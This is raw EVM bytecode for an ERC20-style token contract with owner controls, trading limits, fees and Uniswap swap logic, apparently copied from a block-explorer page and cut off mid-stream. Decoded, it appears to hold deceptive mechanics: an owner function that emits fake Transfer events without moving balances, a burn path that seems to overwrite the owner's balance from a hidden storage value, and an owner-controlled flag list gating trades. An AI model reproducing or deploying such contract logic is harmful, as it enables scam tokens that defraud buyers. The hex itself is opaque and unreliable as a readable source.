6000808291508390505b60018511156136925780860481111561366e5761366d613394565b5b600185161561367d5780820291505b808102905061368b8561363b565b9450613652565b94509492505050565b6000826136ab5760019050613767565b816136b95760009050613767565b81600181146136cf57600281146136d957613708565b6001915050613767565b60ff8411156136eb576136ea613394565b5b8360020a91508482111561370257613701613394565b5b50613767565b5060208310610133831016604e8410600b841016171561373d5782820a90508381111561373857613737613394565b5b613767565b61374a8484846001613648565b9250905081840481111561376157613760613394565b5b81810290505b9392505050565b600061377982612c43565b915061378483612e31565b92506137b17fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461369b565b905092915050565b60006137c482612c43565b91506137cf83612c43565b92508282026137dd81612c43565b915082820484148315176137f4576137f3613394565b5b5092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613857602683612b2a565b9150613862826137fb565b604082019050919050565b600060208201905081810360008301526138868161384a565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006138e9602483612b2a565b91506138f48261388d565b604082019050919050565b60006020820190508181036000830152613918816138dc565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061397b602283612b2a565b91506139868261391f565b604082019050919050565b600060208201905081810360008301526139aa8161396e565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006139e7602083612b2a565b91506139f2826139b1565b602082019050919050565b60006020820190508181036000830152613a16816139da565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000613a53601d83612b2a565b9150613a5e82613a1d565b602082019050919050565b60006020820190508181036000830152613a8281613a46565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613ae5602583612b2a565b9150613af082613a89565b604082019050919050565b60006020820190508181036000830152613b1481613ad8565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613b77602383612b2a565b9150613b8282613b1b565b604082019050919050565b60006020820190508181036000830152613ba681613b6a565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b6000613be3601683612b2a565b9150613bee82613bad565b602082019050919050565b60006020820190508181036000830152613c1281613bd6565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374695f69734578636c7564656446726f6d466565736f60208201527f6e416d6f756e742e000000000000000000000000000000000000000000000000604082015250565b6000613c9b604883612b2a565b9150613ca682613c19565b606082019050919050565b60006020820190508181036000830152613cca81613c8e565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b6000613d07601383612b2a565b9150613d1282613cd1565b602082019050919050565b60006020820190508181036000830152613d3681613cfa565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b6000613d99603683612b2a565b9150613da482613d3d565b604082019050919050565b60006020820190508181036000830152613dc881613d8c565b9050919050565b6000613dda82612c43565b9150613de583612c43565b9250828203905081811115613dfd57613dfc613394565b5b92915050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000613e5f602183612b2a565b9150613e6a82613e03565b604082019050919050565b60006020820190508181036000830152613e8e81613e52565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b6000613ef1602283612b2a565b9150613efc82613e95565b604082019050919050565b60006020820190508181036000830152613f2081613ee4565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000613f83602683612b2a565b9150613f8e82613f27565b604082019050919050565b60006020820190508181036000830152613fb281613f76565b9050919050565b7f4f6e6c79206f6e652070757263686173652070657220626c6f636b20616c6c6f60008201527f7765642e00000000000000000000000000000000000000000000000000000000602082015250565b6000614015602483612b2a565b915061402082613fb9565b604082019050919050565b6000602082019050818103600083015261404481614008565b9050919050565b60008151905061405a81612c17565b92915050565b60006020828403121561407657614075612bdb565b5b60006140848482850161404b565b91505092915050565b60006140a86140a361409e84612be5565b612ed5565b612c43565b9050919050565b6140b88161408d565b82525050565b6000819050919050565b60006140e36140de6140d9846140be565b612ed5565b612c43565b9050919050565b6140f3816140c8565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61412e81612c05565b82525050565b60006141408383614125565b60208301905092915050565b6000602082019050919050565b6000614164826140f9565b61416e8185614104565b935061417983614115565b8060005b838110156141aa5781516141918882614134565b975061419c8361414c565b92505060018101905061417d565b5085935050505092915050565b600060a0820190506141cc60008301886140af565b6141d960208301876140ea565b81810360408301526141eb8186614159565b90506141fa6060830185612fe8565b6142076080830184612cef565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061424b82612c43565b915061425683612c43565b92508261426657614265614211565b5b82820490509291505056fea2646970667358221220fbfc14ab1ea5d7305e07aff28e69b7fbbfa4e98f1a8e6e567b851ac94f705f6364736f6c63430008110033000000000000000000000000912fec4d20f6781efff5dffa5ba78ff38e2ff627

Deployed Bytecode

0x60806040526004361061021e5760003560e01c806389291a8f11610123578063c8c8ebe4116100ab578063dd8546521161006f578063dd85465214610792578063e2f45605146107bd578063f2fde38b146107e8578063f8b45b0514610811578063ffb54a991461083c57610225565b8063c8c8ebe4146106ab578063c9567bf9146106d6578063cb4f9f40146106ed578063cf9522fd1461072a578063dd62ed3e1461075557610225565b8063a457c2d7116100f2578063a457c2d7146105b6578063a9059cbb146105f3578063ad296d9d14610630578063afa4f3b214610659578063c2b7bbb61461068257610225565b806389291a8f146105205780638da5cb5b1461053757806395d89b41146105625780639a7a23d61461058d57610225565b80633be6e637116101a657806370a082311161017557806370a0823114610475578063715018a6146104b2578063751039fc146104c95780637571336a146104e05780637d16a7211461050957610225565b80633be6e637146103cd57806342966c68146103f6578063583e05681461041f5780636ddd17131461044a57610225565b806323b872dd116101ed57806323b872dd146102d457806326ededb814610311578063311028af1461033a578063313ce56714610365578063395093511461039057610225565b806306fdde031461022a578063095ea7b3146102555780630f054c061461029257806318160ddd146102a957610225565b3661022557005b600080fd5b34801561023657600080fd5b5061023f610867565b60405161024c9190612baf565b60405180910390f35b34801561026157600080fd5b5061027c60048036038101906102779190612c79565b6108f9565b6040516102899190612cd4565b60405180910390f35b34801561029e57600080fd5b506102a761091c565b005b3480156102b557600080fd5b506102be610a6d565b6040516102cb9190612cfe565b60405180910390f35b3480156102e057600080fd5b506102fb60048036038101906102f69190612d19565b610a77565b6040516103089190612cd4565b60405180910390f35b34801561031d57600080fd5b5061033860048036038101906103339190612dd1565b610aa6565b005b34801561034657600080fd5b5061034f610b83565b60405161035c9190612cfe565b60405180910390f35b34801561037157600080fd5b5061037a610b89565b6040516103879190612e4d565b60405180910390f35b34801561039c57600080fd5b506103b760048036038101906103b29190612c79565b610b92565b6040516103c49190612cd4565b60405180910390f35b3480156103d957600080fd5b506103f460048036038101906103ef9190612e68565b610bc9565b005b34801561040257600080fd5b5061041d60048036038101906104189190612ea8565b610c34565b005b34801561042b57600080fd5b50610434610c50565b6040516104419190612f34565b60405180910390f35b34801561045657600080fd5b5061045f610c74565b60405161046c9190612cd4565b60405180910390f35b34801561048157600080fd5b5061049c60048036038101906104979190612f4f565b610c87565b6040516104a99190612cfe565b60405180910390f35b3480156104be57600080fd5b506104c7610ccf565b005b3480156104d557600080fd5b506104de610ce3565b005b3480156104ec57600080fd5b5061050760048036038101906105029190612fa8565b610d08565b005b34801561051557600080fd5b5061051e610d6b565b005b34801561052c57600080fd5b50610535610d90565b005b34801561054357600080fd5b5061054c610e24565b6040516105599190612ff7565b60405180910390f35b34801561056e57600080fd5b50610577610e4e565b6040516105849190612baf565b60405180910390f35b34801561059957600080fd5b506105b460048036038101906105af9190612fa8565b610ee0565b005b3480156105c257600080fd5b506105dd60048036038101906105d89190612c79565b610f86565b6040516105ea9190612cd4565b60405180910390f35b3480156105ff57600080fd5b5061061a60048036038101906106159190612c79565b610ffd565b6040516106279190612cd4565b60405180910390f35b34801561063c57600080fd5b5061065760048036038101906106529190613150565b611020565b005b34801561066557600080fd5b50610680600480360381019061067b9190612ea8565b611125565b005b34801561068e57600080fd5b506106a960048036038101906106a49190612f4f565b611155565b005b3480156106b757600080fd5b506106c06111a1565b6040516106cd9190612cfe565b60405180910390f35b3480156106e257600080fd5b506106eb6111a7565b005b3480156106f957600080fd5b50610714600480360381019061070f9190612f4f565b6111cc565b6040516107219190612cd4565b60405180910390f35b34801561073657600080fd5b5061073f611222565b60405161074c9190612cfe565b60405180910390f35b34801561076157600080fd5b5061077c600480360381019061077791906131ac565b611228565b6040516107899190612cfe565b60405180910390f35b34801561079e57600080fd5b506107a76112af565b6040516107b49190612cfe565b60405180910390f35b3480156107c957600080fd5b506107d26112b5565b6040516107df9190612cfe565b60405180910390f35b3480156107f457600080fd5b5061080f600480360381019061080a9190612f4f565b6112bb565b005b34801561081d57600080fd5b5061082661133e565b6040516108339190612cfe565b60405180910390f35b34801561084857600080fd5b50610851611344565b60405161085e9190612cd4565b60405180910390f35b6060600480546108769061321b565b80601f01602080910402602001604051908101604052809291908181526020018280546108a29061321b565b80156108ef5780601f106108c4576101008083540402835291602001916108ef565b820191906000526020600020905b8154815290600101906020018083116108d257829003601f168201915b5050505050905090565b600080610904611357565b905061091181858561135f565b600191505092915050565b610924611528565b600030905060008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016109649190612ff7565b602060405180830381865afa158015610981573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109a59190613261565b9050600081116109ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e1906132da565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610a259291906132fa565b6020604051808303816000875af1158015610a44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a689190613338565b505050565b6000600354905090565b600080610a82611357565b9050610a8f8582856115a6565b610a9a858585611632565b60019150509392505050565b610aae611528565b60005b83839050811015610b7d57838382818110610acf57610ace613365565b5b9050602002016020810190610ae49190612f4f565b73ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b629190612cfe565b60405180910390a38080610b75906133c3565b915050610ab1565b50505050565b60115481565b60006009905090565b600080610b9d611357565b9050610bbe818585610baf8589611228565b610bb9919061340b565b61135f565b600191505092915050565b610bd1611528565b60148211158015610be3575060328111155b610c22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c199061348b565b60405180910390fd5b81601381905550806012819055505050565b610c3c611528565b610c4d610c47611357565b82611f8e565b50565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b601460009054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610cd7611528565b610ce16000612163565b565b610ceb611528565b6000610cf5610a6d565b905080600f8190555080600e8190555050565b610d10611528565b80601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b610d73611528565b6001601460006101000a81548160ff021916908315150217905550565b610d98611528565b60004711610ddb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd2906134f7565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610e21573d6000803e3d6000fd5b50565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610e5d9061321b565b80601f0160208091040260200160405190810160405280929190818152602001828054610e899061321b565b8015610ed65780601f10610eab57610100808354040283529160200191610ed6565b820191906000526020600020905b815481529060010190602001808311610eb957829003601f168201915b5050505050905090565b610ee8611528565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6f90613589565b60405180910390fd5b610f828282612229565b5050565b600080610f91611357565b90506000610f9f8286611228565b905083811015610fe4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fdb9061361b565b60405180910390fd5b610ff1828686840361135f565b60019250505092915050565b600080611008611357565b9050611015818585611632565b600191505092915050565b611028611528565b60005b825181101561112057816001600085848151811061104c5761104b613365565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508281815181106110b8576110b7613365565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff167f3499bfcf9673677ba552f3fe2ea274ec7e6246da31c3c87e115b45a9b0db2efb836040516111059190612cd4565b60405180910390a28080611118906133c3565b91505061102b565b505050565b61112d611528565b611135610b89565b600a611141919061376e565b8161114c91906137b9565b60108190555050565b61115d611528565b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600f5481565b6111af611528565b6001601460016101000a81548160ff021916908315150217905550565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60125481565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60135481565b60105481565b6112c3611528565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611332576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113299061386d565b60405180910390fd5b61133b81612163565b50565b600e5481565b601460019054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036113ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c5906138ff565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361143d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143490613991565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161151b9190612cfe565b60405180910390a3505050565b611530611357565b73ffffffffffffffffffffffffffffffffffffffff1661154e6122ca565b73ffffffffffffffffffffffffffffffffffffffff16146115a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159b906139fd565b60405180910390fd5b565b60006115b28484611228565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461162c578181101561161e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161590613a69565b60405180910390fd5b61162b848484840361135f565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169890613afb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611710576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170790613b8d565b60405180910390fd5b43601781905550600081036117305761172b838360006122de565b611f89565b611738610e24565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117a65750611776610e24565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117df5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611819575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118325750600d60149054906101000a900460ff16155b15611bac57601460019054906101000a900460ff1661192c57600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806118ec5750600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61192b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192290613bf9565b60405180910390fd5b5b601754600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611a155750601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611abc57600f54811115611a5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5690613cb1565b60405180910390fd5b600e54611a6b83610c87565b82611a76919061340b565b1115611ab7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aae90613d1d565b60405180910390fd5b611bab565b601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611b5f5750601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611baa57600f54811115611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba090613daf565b60405180910390fd5b5b5b5b6000611bb730610c87565b905060008082119050808015611bd95750601460009054906101000a900460ff165b8015611bf25750600d60149054906101000a900460ff16155b8015611c485750601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611c9e5750600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611cf45750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611d39576001600d60146101000a81548160ff021916908315150217905550611d1d83612554565b6000600d60146101000a81548160ff0219169083151502179055505b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611dd35750600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460175411155b15611de257611de1856126e6565b5b6000600d60149054906101000a900460ff169050600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e975750600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611ea157600090505b60008115611f7957601560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611f2a57611f236064611f1560125488612a3590919063ffffffff16565b612a4b90919063ffffffff16565b9050611f55565b611f526064611f4460135488612a3590919063ffffffff16565b612a4b90919063ffffffff16565b90505b6000811115611f6a57611f698730836122de565b5b8085611f769190613dcf565b94505b611f848787876122de565b505050505b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611ffd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ff490613e75565b60405180910390fd5b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612083576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161207a90613f07565b60405180910390fd5b816007546120919190613dcf565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600360008282546120e59190613dcf565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161214a9190612cfe565b60405180910390a361215e83600084612a61565b505050565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b80601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b6000806122d5612a66565b90508091505090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361234d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161234490613afb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036123bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123b390613b8d565b60405180910390fd5b6123c7838383612b0e565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561244d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161244490613f99565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161253b9190612cfe565b60405180910390a361254e848484612a61565b50505050565b600061255f30610c87565b905060008082036125715750506126e3565b6000601254601354612583919061340b565b036125ff57600082118015612599575060105482105b156125a6578190506125fa565b60006125d060646125c260125487612a3590919063ffffffff16565b612a4b90919063ffffffff16565b905080846125de9190613dcf565b93506010548411156125f45760105491506125f8565b8391505b505b6126d7565b60008211801561262357506126206005601054612a4b90919063ffffffff16565b82105b1561262f5750506126e3565b60008211801561265357506126506005601054612a4b90919063ffffffff16565b82115b8015612660575060105482105b156126825761267b6005601054612a4b90919063ffffffff16565b90506126d6565b60006126ac606461269e60125487612a3590919063ffffffff16565b612a4b90919063ffffffff16565b905080846126ba9190613dcf565b93506010548411156126d05760105491506126d4565b8391505b505b5b6126e0816126e6565b50505b50565b600160008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156127c057612780600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b13565b6127bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127b69061402b565b60405180910390fd5b5b6000600267ffffffffffffffff8111156127dd576127dc613012565b5b60405190808252806020026020018201604052801561280b5781602001602082028036833780820191505090505b509050308160008151811061282357612822613365565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156128c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906128ec9190614060565b81600181518110612900576128ff613365565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061297b307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d8473ffffffffffffffffffffffffffffffffffffffff1661135f565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b81526004016129ff9594939291906141b7565b600060405180830381600087803b158015612a1957600080fd5b505af1158015612a2d573d6000803e3d6000fd5b505050505050565b60008183612a4391906137b9565b905092915050565b60008183612a599190614240565b905092915050565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612ae557600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612b09565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b505050565b60004382119050919050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612b59578082015181840152602081019050612b3e565b60008484015250505050565b6000601f19601f8301169050919050565b6000612b8182612b1f565b612b8b8185612b2a565b9350612b9b818560208601612b3b565b612ba481612b65565b840191505092915050565b60006020820190508181036000830152612bc98184612b76565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612c1082612be5565b9050919050565b612c2081612c05565b8114612c2b57600080fd5b50565b600081359050612c3d81612c17565b92915050565b6000819050919050565b612c5681612c43565b8114612c6157600080fd5b50565b600081359050612c7381612c4d565b92915050565b60008060408385031215612c9057612c8f612bdb565b5b6000612c9e85828601612c2e565b9250506020612caf85828601612c64565b9150509250929050565b60008115159050919050565b612cce81612cb9565b82525050565b6000602082019050612ce96000830184612cc5565b92915050565b612cf881612c43565b82525050565b6000602082019050612d136000830184612cef565b92915050565b600080600060608486031215612d3257612d31612bdb565b5b6000612d4086828701612c2e565b9350506020612d5186828701612c2e565b9250506040612d6286828701612c64565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f840112612d9157612d90612d6c565b5b8235905067ffffffffffffffff811115612dae57612dad612d71565b5b602083019150836020820283011115612dca57612dc9612d76565b5b9250929050565b600080600060408486031215612dea57612de9612bdb565b5b600084013567ffffffffffffffff811115612e0857612e07612be0565b5b612e1486828701612d7b565b93509350506020612e2786828701612c64565b9150509250925092565b600060ff82169050919050565b612e4781612e31565b82525050565b6000602082019050612e626000830184612e3e565b92915050565b60008060408385031215612e7f57612e7e612bdb565b5b6000612e8d85828601612c64565b9250506020612e9e85828601612c64565b9150509250929050565b600060208284031215612ebe57612ebd612bdb565b5b6000612ecc84828501612c64565b91505092915050565b6000819050919050565b6000612efa612ef5612ef084612be5565b612ed5565b612be5565b9050919050565b6000612f0c82612edf565b9050919050565b6000612f1e82612f01565b9050919050565b612f2e81612f13565b82525050565b6000602082019050612f496000830184612f25565b92915050565b600060208284031215612f6557612f64612bdb565b5b6000612f7384828501612c2e565b91505092915050565b612f8581612cb9565b8114612f9057600080fd5b50565b600081359050612fa281612f7c565b92915050565b60008060408385031215612fbf57612fbe612bdb565b5b6000612fcd85828601612c2e565b9250506020612fde85828601612f93565b9150509250929050565b612ff181612c05565b82525050565b600060208201905061300c6000830184612fe8565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61304a82612b65565b810181811067ffffffffffffffff8211171561306957613068613012565b5b80604052505050565b600061307c612bd1565b90506130888282613041565b919050565b600067ffffffffffffffff8211156130a8576130a7613012565b5b602082029050602081019050919050565b60006130cc6130c78461308d565b613072565b905080838252602082019050602084028301858111156130ef576130ee612d76565b5b835b8181101561311857806131048882612c2e565b8452602084019350506020810190506130f1565b5050509392505050565b600082601f83011261313757613136612d6c565b5b81356131478482602086016130b9565b91505092915050565b6000806040838503121561316757613166612bdb565b5b600083013567ffffffffffffffff81111561318557613184612be0565b5b61319185828601613122565b92505060206131a285828601612f93565b9150509250929050565b600080604083850312156131c3576131c2612bdb565b5b60006131d185828601612c2e565b92505060206131e285828601612c2e565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061323357607f821691505b602082108103613246576132456131ec565b5b50919050565b60008151905061325b81612c4d565b92915050565b60006020828403121561327757613276612bdb565b5b60006132858482850161324c565b91505092915050565b7f4e6f20746f6b656e7320746f20636c6561720000000000000000000000000000600082015250565b60006132c4601283612b2a565b91506132cf8261328e565b602082019050919050565b600060208201905081810360008301526132f3816132b7565b9050919050565b600060408201905061330f6000830185612fe8565b61331c6020830184612cef565b9392505050565b60008151905061333281612f7c565b92915050565b60006020828403121561334e5761334d612bdb565b5b600061335c84828501613323565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006133ce82612c43565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613400576133ff613394565b5b600182019050919050565b600061341682612c43565b915061342183612c43565b925082820190508082111561343957613438613394565b5b92915050565b7f466565732063616e6e6f74206578636565642033302500000000000000000000600082015250565b6000613475